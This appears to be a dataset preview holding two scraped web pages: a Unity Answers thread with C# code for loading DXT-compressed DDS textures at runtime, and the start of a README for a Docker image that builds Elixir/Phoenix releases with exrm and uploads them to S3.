text
stringlengths
454
608k
url
stringlengths
17
896
dump
stringclasses
91 values
source
stringclasses
1 value
word_count
int64
101
114k
flesch_reading_ease
float64
50
104
My game lets users create custom content so loading a large number of textures quickly is important. I was wondering if it was possible to load dds files since they already have dxt info stored in them and it would be much faster than loading a jpg or png. Answer by NOAA_jeff · May 14, 2014 at 03:13 PM I've found a lot of good help on the Unity forums, so it is my turn to provide an answer. DDS (DirectDraw Surface) files can be loaded in Unity at runtime using the Texture2D LoadRawTextureData() method. On our project at NOAA, we are loading hundreds of 4000 x 2000 jpg images and the time required to load each texture and compress it was roughly 600 ms (milliseconds). Too slow! I found that the time required to load the DDS version of the same image (with DXT1 compression) is roughly 3 ms! Amazingly fast. So how can you get your images into DDS format, and how can you load them in Unity? To save your images into DDS format, you can use Photoshop with the Nvidia texture tools plugin (), or you can use a free tool like GIMP (with its DDS plugin--). I used GIMP 2.8 with the plugin. Load your jpg/png image(s) into one of these tools, and then export it as a DDS file. Choose DXT1 compression if your image doesn't have an alpha channel (e.g., JPG images) or DXT5 compression if your images do have alpha (e.g., PNG). To load your DDS file in Unity, you'll need to read the DDS header which is described in detail here: Basically, a DDS file has a 128 byte header which contains some useful information like the width and height of your image. You need to exclude the header bytes, however, when you pass the bytes to the LoadRawTextureData method (which was added in Unity 4.3 but sadly has not yet been documented). Here's my code for loading a DDS file into a Texture2D within a class named TextureLoader: public static Texture2D LoadTextureDXT(byte[] ddsBytes, TextureFormat textureFormat) { if (textureFormat != TextureFormat.DXT1 && textureFormat != TextureFormat.DXT5) throw new Exception("Invalid TextureFormat. Only DXT1 and DXT5 formats are supported by this method."); byte ddsSizeCheck = ddsBytes[4]; if (ddsSizeCheck != 124) throw new Exception("Invalid DDS DXTn texture. Unable to read"); //this header byte should be 124 for DDS image files int height = ddsBytes[13] * 256 + ddsBytes[12]; int width = ddsBytes[17] * 256 + ddsBytes[16]; int DDS_HEADER_SIZE = 128; byte[] dxtBytes = new byte[ddsBytes.Length - DDS_HEADER_SIZE]; Buffer.BlockCopy(ddsBytes, DDS_HEADER_SIZE, dxtBytes, 0, ddsBytes.Length - DDS_HEADER_SIZE); Texture2D texture = new Texture2D(width, height, textureFormat, false); texture.LoadRawTextureData(dxtBytes); texture.Apply(); return (texture); } So you just need to read the bytes from a DDS file and then pass them to this C# method. Here's some simple code to do that: byte[] bytes = System.IO.File.ReadAllBytes(ddsFilePath); Texture2D myTexture = TextureLoader.LoadTextureDXT(bytes, TextureFormat.DXT1); You should see 100x speedup in loading images into Texture2Ds. I hope this post helps someone. Very thorough answer :) I have been attempting to use your method, but keep getting this error. Did you run into this at all? UnityException: LoadRawTextureData: not enough data provided (will result in overread). Utility.LoadTexture (System.Byte[] ddsBytes) (at Assets/Scripts/Utilities/Utility.cs:134) The file is definitely a DDS file. It loads the header and accurately obtains the width and height. I found out my above error was caused by trying to LoadRawTextureData into a Texture that I had mipmaps set to true. My DDS file had no mipmaps, so it was unable to deal with that. LoadRawTextureData Setting mipmaps to false when initializing my texture fixed the problem. That's a subtle error - glad you figured it out! The docs for LoadRawTextureData are nonexistent, so a lot of what we've figured out is by trial and error. I've been wary to try anything fancy, like loading into a cubemap or a texture with mipmaps. Good to know that it appears to support mipmaps. It would be really nice for debugging to have the reverse method, e.g. ReadRawTextureData, which would return a byte stream so we know what Unity is expecting.. Glad you figured that out, Tylo. You'll also see that error message if your texture.format is mismatched. For example if texture.format=TextureFormat.ARGB32 (PNG) and yet your source DDS file is 24 bit (JPG with no. 0 Answers Switching From one texture to another 3 Answers Load texture and shaders at runtime on iPhone 2 Answers How do I import TGA, DDS, GIF, PCX and BMP files at runtime? 1 Answer 1 Answer
https://answers.unity.com/questions/555984/can-you-load-dds-textures-during-runtime.html
CC-MAIN-2017-51
refinedweb
782
65.73
Connecting to MYSQL Database in Java Connecting to MYSQL Database in Java I've tried executing the code... = "jdbc:mysql://localhost/"; String dbName = "textbook"; String driver... the following link: JDBC MySQl Connectivity I have mysql-connector Mysql & java - JDBC to connect to mysql 5.1 using java. But it shows error about: Class.forName...; String url = "jdbc:mysql://localhost:3306/"; String dbName... on JDBC visit to : Connecting to the Database Using JDBC and Pure Java driver Connecting to the Database JDBC Driver In our search engine we are using MySQL database server and MM.MySQL Driver for connecting our application to the database. MM.MySQL database connectivity - JDBC database connectivity example java code for connecting Mysql database using java Hi friend, Code for connecting Mysql database using java : import java.sql.*; public class MysqlConnect{ public static void jdbc mysql - JDBC =DriverManager.getConnection("jdbc:mysql://localhost:3306/ram","root","root... this problemm thank u ---------- java ---------- Listing all table name in Database! SDKH...jdbc mysql import java.sql.*; public class AllTableName Connecting to remote mysql server using jdbc. Connecting to remote mysql server using jdbc. How to Connect to remote mysql server using jdbc Connecting to a MySQL Database in Java Connecting to a MySQL Database in Java  ... to connect the MySQL database with the Java file. Firstly, we need to establish... data form MySQL database. We are going to make a program on connecting to a MySQL jdbc - JDBC conn = null; String url = "jdbc:mysql://localhost:3306/"; String dbName...jdbc How to do connectivity with java? Hi friend, import java.sql.*; public class MysqlConnect{ public static void main(String JAVA & MYSQL - JDBC JAVA & MYSQL How can we take backup of MySQL 5.0 database by using...;Hi Friend, Please visit the following page for working example of MySQL backup. This may help you in solving your problem. Java and Mysql Java and Mysql Sir, I want to connect my java program with mysql...("MySQL Connect Example."); Connection conn = null; String url = "jdbc:mysql... the following link: JDBC Tutorials sir mysql server is on another system Connecting to MySQL database and retrieving and displaying data in JSP page Connecting to MySQL database and retrieving and displaying data in JSP page...; This tutorial shows you how to connect to MySQL database and retrieve the data... web application. Creating Table in the database. Using a JDBC driver JDBC retrieve the value from database into dropdown list using JDBC SQL 2005 How to retrieve the value from database into dropdown list using JDBC &...").newInstance(); String connectionURL = "jdbc:mysql://localhost:3306/test";; Connection Connecting to the Database Using JDBC and Pure Java have to use JDBC and oracle. plz send the details for connecting "java... for database connectivity:... sending data inserting code into database using JDBC with jsp JDBC connection JDBC connection ![alt text][1]I got exception in Connecting to a MySQL Database in Java. The exception is ClassNotFoundException:com.mysql.jdbc.Driver wat is the problem jdbc - JDBC ) { System.out.println("Inserting values in Mysql database table!"); Connection con = null; String url = "jdbc:mysql://localhost:3306/"; String db... information on JDBC-Mysql visit to : mysql you need to download the mysql-connector jar file for connecting java program from mysql database....... Hi friend, MySQL is open source database... is the link for the page from where you can understand how to Download and Install MySQL access database JDBC access database JDBC is a Java Database Connectivity. The JDBC Connectivity provides API classes and interfaces for connecting the front end in Java application with database connections Error in connecting to the mySQL database in TOMCAT using more than one PC (database connection pooling) Error in connecting to the mySQL database in TOMCAT using more than one PC...="com.mysql.jdbc.Driver" url="jdbc:mysql://10.9.58.8:3306/alcs_htht"/> </Context>... String strDataSource = "java:comp/env/jdbc/HTHLogDB"; ic = new InitialContext connecting jsp to mysql - JSP-Servlet to the mysql database through jsp. After downloading the mysql-connector-java-5.0 One jar file is needed to connect java with mysql data base. That can...connecting jsp to mysql Hi, i am working on 'Web application jdbc - JDBC : Retrieve Image using Java... = DriverManager.getConnection( "jdbc:mysql://localhost:3306/test", "root", "root...jdbc How can i store images in a database column without a front end Null pointer exceptation-Java Servlet web application,Problem connecting with MYSQL database Null pointer exceptation-Java Servlet web application,Problem connecting...="com.mysql.jdbc.Driver" url="jdbc:mysql://localhost:3306/database_name?autoReconnect...="/Mysystem"> <Resource name="jdbc/database_name" auth="Container" maxActive Connecting JTable to database - JDBC Connecting JTable to database Hi.. I am doing a project on Project... to store this JTable content in my database table.. This is a very important...("jdbc:odbc:access"); for(int i=0;i Hi Friend, Make one change java connecting to oracle db - JDBC java connecting to oracle db how to connect oracle data base with java application? Hi Friend, Follow these steps: 1) Import the following packages in your java file:*********** import java.sql.*; import a database JDBC Example with MySQL Java data types. Connecting to a MySQL Database in Java In this section, you will learn how to connect the MySQL database with Java file. We need... establishing the connection with MySQL database by using the JDBC driver, you install mysql - JDBC install mysql i want to connect with mysql database.can i install mysql on local system please send me link how download mysql Hi friend, MySQL is open source database and you can download and install it on your mysql problem - JDBC = "jdbc:mysql://localhost:3306/test"; Connection con=null; try...mysql problem hai friends please tell me how to store the videos in mysql plese help me as soon as possible thanks in advance   (); Connection conn = DriverManager.getConnection("jdbc:mysql://localhost...jdbc how to display database contents? import java.sql.... information, visit the following link: JDBC Tutorials Database Connection - JDBC Database Connection In java How will be connect Database through JDBC? Hi Friend, Please visit the following link: Thanks cannot connect to database - JDBC cannot connect to database Iam using eclipse in my system ,when connecting the database mysql version 5.0 to the eclipse iam getting an error as ""Creating connection to mysql has encountered a problem.Could not connect to mysql MYSQL and SERVLETS - JDBC MYSQL and SERVLETS I did addition ,deletion of data in mysql using servlets .I do not know that how to combine these two programs into a single... web application : Add/Edit/Delete data from database visit to : http mysql problem - JDBC of creation of table in mysql. it will take any image and store in database...mysql problem hai friends i have some problem with image storing in mysql. i.e while i am using image(blob) for insert the image it says JDBC, Java Database Connectivity . Read it at Connecting to a MySQL Database in Java... tutorials. Java Database Connectivity or JDBC for short is Java bases API... driver as per your application needs. About JDBC Java Database Connectivity Jdbc Mysql Connection Url JDBC Mysql Connection Url  ... JDBC Mysql Connection. In this program, the code explain the JDBC url and string connection that helps you in connecting between url and database. For this we JDBC tutorial with MySQL JDBC Examples with MySQL In this section we are giving many examples of accessing MySQL database from Java program. Examples discussed here will help... Java program. JDBC Basics JDBC Classes and Interfaces JDBC Drivers = DriverManager.getConnection("jdbc:mysql://localhost:3306/test", "root", "root...JDBC How to fetch values from database based on dropdown list selection? import java.sql.*; import java.awt.*; import java.util. JDBC Training, Learn JDBC yourself ; Connecting to a MySQL Database in Java In this section, you... JDBC Connection Pooling Accessing Database using Java and JDBC Learn how... with MySQL JDBC MySQL Tutorial JDBC Tutorials with MySQL Database JDBC Drive For Mysql JDBC Drive For Mysql  ...; jdbc driver for mysql is specified in string driver. JdbcDriveForMysql... jdbc driver for mysql : com.mysql.jdbc.Driver Download code JDBC ("com.mysql.jdbc.Driver"); Connection con = DriverManager.getConnection("jdbc:mysql...JDBC How to fetch values from database based on dropdown list selection? public class Swapping{ static void swap(int i,int j){ int Retrieving cells in MySQL - JDBC of the database and evaluate the answers for a score. Regards, Prem java error - JDBC = null; String url = "jdbc:mysql://localhost:3306/"; String dbName...java error Why am I getting errors in the follwing program? import java.sql.*; public class MysqlConnect{ public static void main(String java program - JDBC out. i have used mysql for connecting to the database. Hi friend... to visit.... program i have a DBschema, in that i have schema name and set jdbc - JDBC management so i need how i can connect the pgm to database by using jdbc... at Thanks Hi, You can use following code to connect to Database with the help of JDBC API Connecting to MySQL (); bds.setDriverClassName("com.mysql.jdbc.Driver"); bds.setUrl("jdbc:mysql...-dbcp.jar, commons-pool.jar, j2ee.jar and mysql-connector-java-5.1.7-bin.jar...-collections.jar;lib/commons-dbcp.jar;lib/commons-pool.jar;lib/j2ee.jar;lib/mysql java - JDBC java how to get connectoin to database server from mysql through java programme Hi Friend, Please visit the following link for more detailed information Creating a Database in MySQL \jdbc-mysql>java CreateDatabase Database creation example! Enter... Creating a Database in MySQL After establishing the connection with MySQL database by using Tutorial | Connecting to a MySQL Database in Java | Creating a Database Table | Creating a MySQL Database Table to store Java Types | Deleting a Table from... | APIs Become Available JDBC | Accessing Database using Java and JDBC Connectivity with sql in detail - JDBC ; String url = "jdbc:mysql://localhost:3306/"; String dbName... the following link:... unable to connect the sql with Java. Please tell me in detail that how to connect JDBC - JDBC database table!"); Connection con = null; String url = "jdbc:mysql...JDBC In process to access database we create a connection the syntax... implementing class. Hi friend, Example of JDBC Connection with Statement JDBC - Java Database Connectivity Tutorial . Connecting to a MySQL Database in Java... JDBC - Java Database Connectivity Tutorials  ...; New Features in JDBC 4.0 Java database connectivity (JDBC) is the Java database connectivity using mysql database connectivity using mysql java file: eg1.java package eg...[]) throws SQLException { try { String connectionURL = "jdbc:mysql... seconds) I am using Netbeans 5.5, mysql server 5.0, to get data from table in a database System.out.println("MySQL Connect Example."); Connection conn = null; String url = "jdbc:mysql://localhost:3306/"; String dbName... want to get the table count in a database or row count in a table? if u want jdbc jdbc why do we need to load jdbc drivers before connecting to database jdbc - JDBC main(String[]args){ try{ Connection con = null; String url = "jdbc:mysql...(); Connection con = DriverManager.getConnection( "jdbc:mysql://localhost:3306/test... the database... Hi Friend, It seems that you haven't inserted any add record to database - JDBC (); String url = "jdbc:mysql://localhost:3306/"; String db = "register...add record to database How to create program in java that can save record in database ? Hi friend, import java.io.*; import java.sql. ("jdbc:mysql://localhost:3306/ram","root","root"); System.out.println("Connect to database!"); try { DatabaseMetaData dbm = con.getMetaData... name in Database!"); System.out.println("Welcome"); try Prepared statement JDBC MYSQL Prepared statement JDBC MYSQL How to create a prepared statement in JDBC using MYSQL? Actually, I am looking for an example of prepared statement. Selecting records using prepared statement in JDBC jdbc mysqll - JDBC ("com.mysql.jdbc.Driver"); Connection con=DriverManager.getConnection("jdbc:mysql..."; String url = "jdbc:mysql://192.168.10.211:3306/"; String dbName = "amar...jdbc mysqll import java.sql.*; public class AllTableName{ Problems connecting to a database. Java/SQLite Problems connecting to a database. Java/SQLite `print("try { con = DriverManager.getConnection("jdbc:sqlite:db/Freepark.sqlite"); } catch... on an SQL database but i am having problems connecting to it, I think the problem java jdbc java i have one table in database, now i want to store in notepad these table field, how is it possible through jdbc? Hi Friend...( "jdbc:mysql://localhost:3306/register", "root", "root connecting to access database connecting to access database print("code sample");Hi I Write java... this there is no error but my data is not going to my Acess Database. There is working... = DriverManager.getConnection("jdbc:odbc:bookss"); System.out.print("Connected to "+con.getCatalog java - JDBC metadata Hi friend, 1. First import the java packages import java.sql.*; 2. Loading a database driver String driver = "com.mysql.jdbc.Driver"; 3.Creating a jdbc Connection String url = url = "jdbc:mysql://localhost:3306/"; String dbName = "databasename... Hi Read for more information....); } System.out.println("No of Rows in Database " + countRows); } catch java - JDBC ").newInstance(); Connection con = DriverManager.getConnection("jdbc:mysql...java please help to retrieve image from database when a search query is given from a text box in java code using oracle as a backend java - JDBC ; String url = "jdbc:mysql://192.168.10.211:3306/"; String db = "amar...java i want to create a database entering student name and roll... fields and the entered data in text boxes should be saved in database???   Ask Questions? If you are facing any programming issue, such as compilation errors or not able to find the code you are looking for. Ask your questions, our development team will try to give answers to your questions.
http://www.roseindia.net/tutorialhelp/comment/22033
CC-MAIN-2013-20
refinedweb
2,266
50.12
This will be the first of many questions to come This is an assinment so dont give me code i won't understand becouse i wont use it, even if you give me code i understand i still won't use it but i will learn from it. in this code i am trying to get a specific number to print out when the user types n, e, s, or w. for example: n would be 1, and e would be -1. all it dose is give me some strange error called signal 10 (sigbus) then it pulls up a debugger window sorry if this sounds to common it's never happend to me before. Code: #include <stdio.h> #include <stdlib.h> int main(void) { int room0[4]={1,2,-1,-1}; char i; char n=0; char s=1; char e=2; char w=4; printf("number...err letter:"); scanf("%c\n",i); printf("print the god dam numb. %i",room0[i]); return 0; } please before reading whats below, can you answer the above question first even if it will not help me with the game, it's how i learn things,i am very new at this got no experience at all. as for the text base game this is how its planned, so far i am planning to have 4 rooms and am writing the code in 4 parts, 1 for each room it sounds tedius but i just want to get from 1 room to the other for right now. the rooms have numbers 0-3, you get from each room by pressing n,s,e,w. if you try to go the wrong way its a -1. i am thinking the use of arrays, if else statements and goto statment. if there is more things i should or not use don't be shy speek up. and now for my stupid questions 1)can you get an array of letters to equal an array of numbers. i guess that will be it for now i will post more questions as soon as they become more prevalent to the main question. lastly you are all probably wondering what text i am using, well i am using Programming in C third edition Stephen G. Kochan Developer's Library
https://cboard.cprogramming.com/c-programming/95068-begginer-writing-text-based-dungeon-game-printable-thread.html
CC-MAIN-2017-17
refinedweb
381
85.62
Opened 7 years ago Closed 6 years ago #13552 closed (fixed) pre_save & post_save model signals should also specify database to save Description The pre_save & post_save model signals should also specify on which database the object will be saved. Also, should be possible to connect to model signals on a specific database. Something like: from django.db.models.signals import pre_save from myapp.models import MyModel def my_default_handler(sender, **kwargs): # Do something on default db ... def my_alternate_handler(sender, **kwargs): # Do something on alternate db ... pre_save.connect(my_default_handler, sender=MyModel, database='default_db') pre_save.connect(my_alternate_handler, sender=MyModel, database='alternate_db') Attachments (3) Change History (8) comment:1 Changed 7 years ago by comment:2 Changed 7 years ago by Changed 7 years ago by Patch that adds "using" keyword for *_save, *_delete, m2m_changed comment:3 Changed 7 years ago by I've attached a patch that implements a "using" keyword for pre_save, post_save, pre_delete, post_delete, and m2m_changed, along with modified docs and tests. Changed 7 years ago by Second patch, with removal of slash and comment:4 Changed 7 years ago by Changed 7 years ago by Also include an AUTHORS commit. Weeell, we can't add a param to the connect method, since Signal's don't know about models, or databases, or anything like that. However, the DB should be a param to the actual signal invocation so one can filter out the calls they want.
https://code.djangoproject.com/ticket/13552
CC-MAIN-2017-04
refinedweb
235
60.24
import "gopkg.in/src-d/go-vitess.v1/sqltypes" Package sqltypes implements interfaces and types that represent SQL values. arithmetic.go bind_variables.go event_token.go plan_value.go proto3.go query_response.go result.go testing Geometry = querypb.Type_GEOMETRY TypeJSON = querypb.Type_JSON Expression = querypb.Type_EXPRESSION ) Vitess data types. These are idiomatically named synonyms for the querypb.Type values. Although these constants are interchangeable, they should be treated as different from querypb.Type. Use the synonyms only to refer to the type in Value. For proto variables, use the querypb.Type constants instead. The following conditions are non-overlapping and cover all types: IsSigned(), IsUnsigned(), IsFloat(), IsQuoted(), Null, Decimal, Expression, Bit Also, IsIntegral() == (IsSigned()||IsUnsigned()). TestCategory needs to be updated accordingly if you add a new type. If IsBinary or IsText is true, then IsQuoted is also true. But there are IsQuoted types that are neither binary or text. querypb.Type_TUPLE is not included in this list because it's not a valid Value type. TODO(sougou): provide a categorization function that returns enums, which will allow for cleaner switch statements for those who want to cover types by their category. var ( // NULL represents the NULL value. NULL = Value{} // DontEscape tells you if a character should not be escaped. DontEscape = byte(255) ) var NullBindVariable = &querypb.BindVariable{Type: querypb.Type_NULL_TYPE} NullBindVariable is a bindvar with NULL value. SQLDecodeMap is the reverse of SQLEncodeMap SQLEncodeMap specifies how to escape binary data with '\'. Complies to func BindVariablesEqual(x, y map[string]*querypb.BindVariable) bool BindVariablesEqual compares two maps of bind variables. For protobuf messages we have to use "proto.Equal". func BuildBindVariable(v interface{}) (*querypb.BindVariable, error) BuildBindVariable builds a *querypb.BindVariable from a valid input type. BuildBindVariables builds a map[string]*querypb.BindVariable from a map[string]interface{}. func BytesBindVariable(v []byte) *querypb.BindVariable BytesBindVariable converts a []byte to a bind var. func CopyBindVariables(bindVariables map[string]*querypb.BindVariable) map[string]*querypb.BindVariable CopyBindVariables returns a shallow-copy of the given bindVariables map.. FieldsEqual compares two arrays of fields. reflect.DeepEqual shouldn't be used because of the protos. func Float64BindVariable(v float64) *querypb.BindVariable Float64BindVariable converts a float64 to a bind var. FormatBindVariables returns a string representation of the bind variables. If full is false, then large string or tuple values are truncated to only print the lengths. If asJson is true, then the resulting string is a valid JSON representation, otherwise it is the golang printed map representation. func IncludeFieldsOrDefault(options *querypb.ExecuteOptions) querypb.ExecuteOptions_IncludedFields IncludeFieldsOrDefault normalizes the passed Execution Options. It returns the default value if options is nil. func Int32BindVariable(v int32) *querypb.BindVariable Int32BindVariable converts an int32 to a bind var. func Int64BindVariable(v int64) *querypb.BindVariable Int64BindVariable converts an int64 to a bind var. func Int8BindVariable(v int8) *querypb.BindVariable Int8BindVariable converts an int8 to a bind var. IsBinary returns true if querypb.Type is a binary. If you have a Value object, use its member function. IsFloat returns true is querypb.Type is a floating point. If you have a Value object, use its member function. IsIntegral returns true if querypb.Type is an integral (signed/unsigned) that can be represented using up to 64 binary bits. If you have a Value object, use its member function. IsQuoted returns true if querypb.Type is a quoted text or binary. If you have a Value object, use its member function. IsSigned returns true if querypb.Type is a signed integral. If you have a Value object, use its member function. IsText returns true if querypb.Type is a text. If you have a Value object, use its member function. IsUnsigned returns true if querypb.Type is an unsigned integral. Caution: this is not the same as !IsSigned. If you have a Value object, use its member function. MakeTestFields builds a []*querypb.Field for testing. fields := sqltypes.MakeTestFields( "a|b", "int64|varchar", ) The field types are as defined in querypb and are case insensitive. Column delimiters must be used only to sepearate strings and not at the beginning or the end. MySQLToType computes the vitess type from mysql type and flags. NullsafeCompare returns 0 if v1==v2, -1 if v1<v2, and 1 if v1>v2. NULL is the lowest value. If any value is numeric, then a numeric comparison is performed after necessary conversions. If none are numeric, then it's a simple binary comparison. Uncomparable values return an error. PrintResults prints []*Results into a string. This function should only be used for testing. func Proto3QueryResponsesEqual(r1, r2 []*querypb.ResultWithError) bool Proto3QueryResponsesEqual compares two arrays of proto3 QueryResponse. reflect.DeepEqual shouldn't be used because of the protos. func Proto3ResultsEqual(r1, r2 []*querypb.QueryResult) bool Proto3ResultsEqual compares two arrays of proto3 Result. reflect.DeepEqual shouldn't be used because of the protos. Proto3ValuesEqual compares two arrays of proto3 Value. func QueryResponsesEqual(r1, r2 []QueryResponse) bool QueryResponsesEqual compares two arrays of QueryResponse. They contain protos, so we cannot use reflect.DeepEqual. func QueryResponsesToProto3(qr []QueryResponse) []*querypb.ResultWithError QueryResponsesToProto3 converts []QueryResponse to proto3. ResolveRows resolves a []PlanValue as rows based on the supplied bindvars. func ResultToProto3(qr *Result) *querypb.QueryResult ResultToProto3 converts Result to proto3. ResultsEqual compares two arrays of Result. reflect.DeepEqual shouldn't be used because of the protos. func ResultsToProto3(qr []Result) []*querypb.QueryResult ResultsToProto3 converts []Result to proto3. RowToProto3 converts []Value to proto3. RowsToProto3 converts [][]Value to proto3. func SplitQueryResponsePartsEqual(s1, s2 []*vtgatepb.SplitQueryResponse_Part) bool SplitQueryResponsePartsEqual compares two arrays of SplitQueryResponse_Part. func StringBindVariable(v string) *querypb.BindVariable StringBindVariable converts a string to a bind var. func TestBindVariable(v interface{}) *querypb.BindVariable TestBindVariable makes a *querypb.BindVariable from an interface{}.It panics on invalid input. This function should only be used for testing. ToFloat64 converts Value to float64. ToInt64 converts Value to int64. ToNative converts Value to a native go type. Decimal is returned as []byte. ToUint64 converts Value to uint64. TypeToMySQL returns the equivalent mysql type and flag for a vitess type. func Uint64BindVariable(v uint64) *querypb.BindVariable Uint64BindVariable converts a uint64 to a bind var. func ValidateBindVariable(bv *querypb.BindVariable) error ValidateBindVariable returns an error if the bind variable has inconsistent fields. func ValidateBindVariables(bv map[string]*querypb.BindVariable) error ValidateBindVariables validates a map[string]*querypb.BindVariable. func ValueBindVariable(v Value) *querypb.BindVariable ValueBindVariable converts a Value to a bind var. ValueToProto converts Value to a *querypb.Value. BinWriter interface is used for encoding values. Types like bytes.Buffer conform to this interface. We expect the writer objects to be in-memory buffers. So, we don't expect the write operations to fail. PlanValue represents a value or a list of values for a column that will later be resolved using bind vars and used to perform plan actions like generating the final query or deciding on a route. Plan values are typically used as a slice ([]planValue) where each entry is for one column. For situations where the required output is a list of rows (like in the case of multi-value inserts), the representation is pivoted. For example, a statement like this: INSERT INTO t VALUES (1, 2), (3, 4) will be represented as follows: []PlanValue{ Values: {1, 3}, Values: {2, 4}, } For WHERE clause items that contain a combination of equality expressions and IN clauses like this: WHERE pk1 = 1 AND pk2 IN (2, 3, 4) The plan values will be represented as follows: []PlanValue{ Value: 1, Values: {2, 3, 4}, } When converted into rows, columns with single values are replicated as the same for all rows: [][]Value{ {1, 2}, {1, 3}, {1, 4}, } IsList returns true if the PlanValue is a list. IsNull returns true if the PlanValue is NULL. MarshalJSON should be used only for testing. ResolveList resolves a PlanValue as a list of values based on the supplied bindvars. ResolveValue resolves a PlanValue as a single value based on the supplied bindvars. QueryResponse represents a query response for ExecuteBatch. func Proto3ToQueryReponses(qr []*querypb.ResultWithError) []QueryResponse Proto3ToQueryReponses converts proto3 queryResponse to []QueryResponse. type Result struct { Fields []*querypb.Field `json:"fields"` RowsAffected uint64 `json:"rows_affected"` InsertID uint64 `json:"insert_id"` Rows [][]Value `json:"rows"` Extras *querypb.ResultExtras `json:"extras"` } Result represents a query result. CustomProto3ToResult converts a proto3 Result to an internal data structure. This function takes a separate fields input because not all QueryResults contain the field info. In particular, only the first packet of streaming queries contain the field info. MakeTestResult builds a *sqltypes.Result object for testing. result := sqltypes.MakeTestResult( fields, " 1|a", "10|abcd", ) The field type values are set as the types for the rows built. Spaces are trimmed from row values. "null" is treated as NULL. MakeTestStreamingResults builds a list of results for streaming. results := sqltypes.MakeStreamingResults( fields, "1|a", "2|b", "---", "c|c", ) The first result contains only the fields. Subsequent results are built using the field types. Every input that starts with a "-" is treated as streaming delimiter for one result. A final delimiter must not be supplied. func Proto3ToResult(qr *querypb.QueryResult) *Result Proto3ToResult converts a proto3 Result to an internal data structure. This function should be used only if the field info is populated in qr. func Proto3ToResults(qr []*querypb.QueryResult) []Result Proto3ToResults converts proto3 results to []Result. AppendResult will combine the Results Objects of one result to another result.Note currently it doesn't handle cases like if two results have different fields.We will enhance this function. Copy creates a deep copy of Result. Equal compares the Result with another one. reflect.DeepEqual shouldn't be used because of the protos. Repair fixes the type info in the rows to conform to the supplied field types. func (result *Result) StripMetadata(incl querypb.ExecuteOptions_IncludedFields) *Result StripMetadata will return a new Result that has the same Rows, but the Field objects will have their non-critical metadata emptied. Note we don't proto.Copy each Field for performance reasons, but we only copy the individual fields. Truncate returns a new Result with all the rows truncated to the specified number of columns. type ResultStream interface { // Recv returns the next result on the stream. // It will return io.EOF if the stream ended. Recv() (*Result, error) } ResultStream is an interface for receiving Result. It is used for RPC interfaces. Value can store any SQL value. If the value represents an integral type, the bytes are always stored as a canonical representation that matches how MySQL returns such values. func BindVariableToValue(bv *querypb.BindVariable) (Value, error) BindVariableToValue converts a bind var into a Value. Cast converts a Value to the target type. CopyRow makes a copy of the row. InterfaceToValue builds a value from a go type. Supported types are nil, int64, uint64, float64, string and []byte. This function is deprecated. Use the type-specific functions instead. MakeRowTrusted converts a *querypb.Row to []Value based on the types in fields. It does not sanity check the values against the type. Every place this function is called, a comment is needed that explains why it's justified. MakeTrusted makes a new Value based on the type. This function should only be used if you know the value and type conform to the rules. Every place this function is called, a comment is needed that explains why it's justified. Exceptions: The current package and mysql package do not need comments. Other packages can also use the function to create VarBinary or VarChar values. Max returns the maximum of v1 and v2. If one of the values is NULL, it returns the other value. If both are NULL, it returns NULL. Min returns the minimum of v1 and v2. If one of the values is NULL, it returns the other value. If both are NULL, it returns NULL. NewFloat64 builds an Float64 Value. NewInt32 builds an Int64 Value. NewInt64 builds an Int64 Value. NewInt8 builds an Int8 Value. NewIntegral builds an integral type from a string representation. The type will be Int64 or Uint64. Int64 will be preferred where possible. NewUint32 builds an Uint32 Value. NewUint64 builds an Uint64 Value. NewValue builds a Value using typ and val. If the value and typ don't match, it returns an error. NewVarBinary builds a VarBinary Value. The input is a string because it's the most common use case. NewVarChar builds a VarChar Value. NullsafeAdd adds two Values in a null-safe manner. A null value is treated as 0. If both values are null, then a null is returned. If both values are not null, a numeric value is built from each input: Signed->int64, Unsigned->uint64, Float->float64. Otherwise the 'best type fit' is chosen for the number: int64 or float64. Addition is performed by upgrading types as needed, or in case of overflow: int64->uint64, int64->float64, uint64->float64. Unsigned ints can only be added to positive ints. After the addition, if one of the input types was Decimal, then a Decimal is built. Otherwise, the final type of the result is preserved. ProtoToValue converts a *querypb.Value to a Value. TestValue builds a Value from typ and val. This function should only be used for testing.. Raw returns the internal representation of the value. For newer types, this may not match MySQL's representation. String returns a printable version of the value. ToBytes returns the value as MySQL would return it as []byte. In contrast, Raw returns the internal representation of the Value, which may not match MySQL's representation for newer types. If the value is not convertible like in the case of Expression, it returns nil. ToString returns the value as MySQL would return it as string. If the value is not convertible like in the case of Expression, it returns nil. Type returns the type of Value. UnmarshalJSON should only be used for testing. It's not a complete implementation. Package sqltypes imports 15 packages (graph) and is imported by 84 packages. Updated 2019-06-12. Refresh now. Tools for package owners.
https://godoc.org/gopkg.in/src-d/go-vitess.v1/sqltypes
CC-MAIN-2019-35
refinedweb
2,311
54.18
exrm docker image Based on msaraiva/elixir-dev (Alpine linux 3.3, x86_64) This image builds a phoenix project, creates a release and uploads the release to S3. (It probably works with other elixir apps, but this README provides instructions for phoenix specifically.) Once you have a release in S3, you simply download the release to your production server and run the application on the erlang vm. This docker image solves two problems: Your development machine has a different architecture than your production machine. Elixir releases need to be built on the same architecture that they will run on. (). This docker container uses 64-bit linux. You want to automate your deployment with docker A side benefit of storing releases in S3 is that it is easier to roll back to an older version. Setup S3 Bucket Create an S3 bucket that will contain the .tar.gz of the phoenix release. Create a file that stores your S3 credentials so the container can upload the build to the bucket (using the aws cli tool). The file should be called credentials [default] aws_access_key_id = <release-bucket-access-key-id> aws_secret_access_key = <release-bucket-secret-access-key> SSH Keys for deployment Obtain ssh keys for the git repo that contains your phoenix app. The container will use these ssh keys to clone the code. For better security, consider using read-only deploy keys. Production Config Before deploying make sure your production settings are correct. Edit your phoenix application's config/prod.exs to ensure you have the correct port, app secret and database connection information. Set the version in the mix.exs file. def project do [app: :my_app, description: "My sample app.", version: "0.0.4", # <--- set your version here elixir: "~> 1.1", elixirc_paths: elixirc_paths(Mix.env), compilers: [:phoenix] ++ Mix.compilers, build_embedded: Mix.env == :prod, start_permanent: Mix.env == :prod, aliases: aliases, deps: deps] end Add exrm as a dependency in mix.exs. defp deps do [{:phoenix, "~> 1.1.4"}, {:phoenix_ecto, "~> 2.0.1"}, {:postgrex, ">= 0.11.1"}, {:phoenix_html, "~> 2.1"}, {:phoenix_live_reload, "~> 1.0.3", only: :dev}, {:exrm, "~> 1.0.3"} ] end Creating a release Commit your changes and tag the release. The builder will use this tag to clone the release. git commit -am "Configure app for deployment" git push origin master git tag -a 0.0.1 git push origin --tags Run the command below to start the build container that will create the release and upload it to S3. Use the -v switches to provide the container with the deployment keys and the credentials for the S3 bucket (see Setup above). Use the -e switches to set up 